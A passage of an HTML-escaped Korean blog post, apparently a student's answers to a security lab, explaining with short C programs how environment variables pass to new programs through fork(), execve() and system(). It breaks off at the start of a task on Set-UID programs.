&lt;p&gt;두 번째 방법은 execve() system call을 사용했을 때이다. execve() system call은 현재 메모리 주소 공간(text, data, bss, and stack)을 parameter로 전달받은 새로운 프로그램으로 덮어쓴다. 여기서 execve() 함수의 paramter로 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;의 array를 전달해 줄 수 있고 이것이 새로운 프로그램의 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;가 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우리가 의미있게 고민해야할 점은 line 21에서 fork() system call를 이용해 새로운 child process를 생성했고, child process or parent process가 현재 사용하는 environment variables를 파일로 각각 redirect하여 비교하는 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이것은 위에서 설명한 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;를 얻는 두 가지 방법 중 첫 번째 방법에 해당하며 child process와 parent process의 environment variables가 동일할 것을 확인할 수 있으며 diff 명령어를 통해 실제로 두 프로세스의 environment variables&lt;span style=&quot;color: #333333;&quot;&gt;가 같다는 것을 확인할 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-- environ 변수는 전역변수로 선언되어 있으며 environment variables의 array를 가리키는 pointer이다. extern keyworad를 사용해 eviron 변수에 접근할 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-- fork()는 새로운 프로세스(child process)를 생성하는 system call이며, parent process는 child process의 PID를 return 받고, child process는 0을 return 받는다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 3: Environment Variables and execve()&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Goal: How a child process gets its environment variables from its parent&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step 1.&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Please compile and run the following program, and describe your observation. Because the output contains many strings, you should save the output into a file, such as using a.out &amp;gt; child (assuming that a.out is your executable file name).&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;4&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;5&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;6&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;7&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;8&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;9&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;10&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;11&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;12&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;13&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;14&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;15&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;16&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;17&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdio.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdlib.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;unistd.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;extern&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;environ;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #4be6fa;&quot;&gt;int&lt;/span&gt;&amp;nbsp;main()&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;argv[&lt;span style=&quot;color: #c10aff;&quot;&gt;2&lt;/span&gt;];&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;argv[&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;/usr/bin/env&quot;&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;argv[&lt;span style=&quot;color: #c10aff;&quot;&gt;1&lt;/span&gt;]&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #0086b3;&quot;&gt;NULL&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;execve(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;/usr/bin/env&quot;&lt;/span&gt;,&amp;nbsp;argv,&amp;nbsp;&lt;span style=&quot;color: #0086b3;&quot;&gt;NULL&lt;/span&gt;);&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//execve(&quot;/usr/bin/env&quot;,&amp;nbsp;argv,&amp;nbsp;envrion);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a style=&quot;color: #4f4f4ftext-decoration:none;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;2.&lt;/b&gt;&amp;nbsp;Change&amp;nbsp;the&amp;nbsp;invocation&amp;nbsp;of&amp;nbsp;execve()&amp;nbsp;in&amp;nbsp;Line&amp;nbsp;&amp;Agrave;&amp;nbsp;to&amp;nbsp;the&amp;nbsp;following;&amp;nbsp;describe&amp;nbsp;your&amp;nbsp;observation. &lt;br /&gt;&lt;br /&gt;execve(&quot;/usr/bin/env&quot;,&amp;nbsp;argv,&amp;nbsp;environ); &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step&amp;nbsp;3.&amp;nbsp;&lt;/b&gt;Please&amp;nbsp;draw&amp;nbsp;your&amp;nbsp;conclusion&amp;nbsp;regarding&amp;nbsp;how&amp;nbsp;the&amp;nbsp;new&amp;nbsp;program&amp;nbsp;gets&amp;nbsp;its&amp;nbsp;environment&amp;nbsp;variables.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Answer.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Task2에서 설명한 것처럼 execve() system call을 이용하여 process를 생성할 때 현재 process의 메모리 영역을 새로운 프로그램으로 덮어쓴다. 그 과정에서 기존의 environment variable는 모두 사라지고, execve() systemcall의 parameter로 environment variable이 전달된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;line 13을 uncomment한 상태로 실행하게되면 /usr/bin/env를 실행한다 하더라도 environment array list가&amp;nbsp; NULL이기 때문에 아무런 envrionment variables를 출력하지 않는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;line 13을 comment하고 line 14를 uncomment하면 덮어 쓸 프로그램의 environment array list로 현재 process의 environment variables가 전달된다. 따라서 이 때는 현재 process의 envrionment variables를 상속 받는다.(Figure 1)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tmoaQ/btqSSdT6e6o/0fc95qmQoA4FCkpfYb7KM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tmoaQ/btqSSdT6e6o/0fc95qmQoA4FCkpfYb7KM0/img.png&quot; data-alt=&quot;Figure 1.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tmoaQ/btqSSdT6e6o/0fc95qmQoA4FCkpfYb7KM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtmoaQ%2FbtqSSdT6e6o%2F0fc95qmQoA4FCkpfYb7KM0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Figure 1.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 4: Environment Variables and system()&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Goal: How environment variables are affected when a new program is executed via the system() function&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Please compile and run the following program and describe your observation. (detail)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;4&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;5&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;6&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;7&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;8&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdio.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdlib.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #4be6fa;&quot;&gt;int&lt;/span&gt;&amp;nbsp;main()&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;/usr/bin/env&quot;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a style=&quot;color: #4f4f4ftext-decoration:none;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Answer.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;system() 함수는 실제로 &quot;/bin/sh -c command&quot;와 동일하다. 실제 system 함수의 구현을 보면 fork()를 수행한 후 child process는 /bin/sh를 실행한 후 execl() 함수를 실행한다. execl() 함수의 원형은 &quot;int execl(const char *path, const char *arg, ...);&quot; 과 같으며 environment variables는 현재 process(/bin/sh)의 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables를 &lt;/span&gt;상속받는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;또한 일반적으로 shell program이 시작할 때&amp;nbsp; 현재 process의 envrionment를 shell variable로 복사한다. 따라서 엄연히 shell variable와 envrionment variables는 다르다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;즉, Task 4의 flow를 보면 현재 process의 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;가 fork() 이후 child process와 동일하고 child process는 execl() 함수를 이용해 /bin/sh; /usr/bin/env 명령을 실행한다. execl() 함수는 현재 process(child process)의 environment variables를 자동으로 넘겨받기 때문에 현재 process의 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;가 전달된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;** child process의 environment variables는 parent process가 이전에 environment variables로부터 복사한 shell variables와 사용자가 직접 정의한 shell variables(exported)를 environment variables로 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 5: Environment Variables and Set-UID Programs()&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Goal: How a environment variables effect on Set-UID program&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;1.&lt;/b&gt;&amp;nbsp;Write&amp;nbsp;the&amp;nbsp;following&amp;nbsp;program&amp;nbsp;that&amp;nbsp;can&amp;nbsp;print&amp;nbsp;out&amp;nbsp;all&amp;nbsp;the&amp;nbsp;environment&amp;nbsp;variables&amp;nbsp;in&amp;nbsp;the&amp;nbsp;current&amp;nbsp;process.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;4&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;5&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;6&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;7&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;8&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;9&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;10&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;11&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;12&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;13&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;14&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdio.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
